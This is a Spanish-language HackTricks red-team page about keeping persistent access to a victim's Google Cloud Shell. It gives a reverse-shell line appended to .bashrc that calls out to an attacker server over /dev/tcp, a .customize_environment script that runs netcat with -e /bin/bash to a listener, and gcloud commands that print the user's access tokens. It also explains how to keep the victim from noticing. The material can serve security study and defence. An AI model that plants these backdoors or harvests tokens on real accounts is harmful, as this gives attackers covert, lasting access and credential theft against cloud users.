GCP - Cloud Shell Persistence

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Cloud Shell

Para más información consulta:

pageGCP - Cloud Shell Enum

Puerta trasera persistente

Google Cloud Shell te proporciona acceso a la línea de comandos a tus recursos en la nube directamente desde tu navegador sin ningún costo asociado.

Puedes acceder al Cloud Shell de Google desde la consola web o ejecutando gcloud cloud-shell ssh.

Esta consola tiene algunas capacidades interesantes para los atacantes:

  1. Cualquier usuario de Google con acceso a Google Cloud tiene acceso a una instancia de Cloud Shell completamente autenticada (las Cuentas de Servicio pueden, incluso siendo Propietarios de la organización).

  2. Dicha instancia mantendrá su directorio de inicio durante al menos 120 días si no hay actividad.

  3. No hay capacidades para que una organización supervise la actividad de esa instancia.

Básicamente esto significa que un atacante puede colocar una puerta trasera en el directorio de inicio del usuario y siempre que el usuario se conecte al GC Shell cada 120 días al menos, la puerta trasera sobrevivirá y el atacante obtendrá una shell cada vez que se ejecute simplemente haciendo:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Hay otro archivo en la carpeta de inicio llamado .customize_environment que, si existe, se va a ejecutar cada vez que el usuario acceda a la nube shell (como en la técnica anterior). Simplemente inserta la puerta trasera anterior o una similar para mantener la persistencia siempre que el usuario use "frecuentemente" la nube shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Es importante tener en cuenta que la primera vez que se realiza una acción que requiere autenticación, aparece una ventana emergente de autorización en el navegador del usuario. Esta ventana debe ser aceptada antes de que el comando pueda ejecutarse. Si aparece una ventana emergente inesperada, podría levantar sospechas y potencialmente comprometer el método de persistencia que se está utilizando.

Esta es la ventana emergente al ejecutar gcloud projects list desde la terminal en la nube (como atacante) vista en la sesión del usuario del navegador:

Sin embargo, si el usuario ha utilizado activamente la terminal en la nube, la ventana emergente no aparecerá y puedes recopilar tokens del usuario con:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Cómo se establece la conexión SSH

Básicamente, se utilizan estas 3 llamadas a la API:

Pero puedes encontrar más información en https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización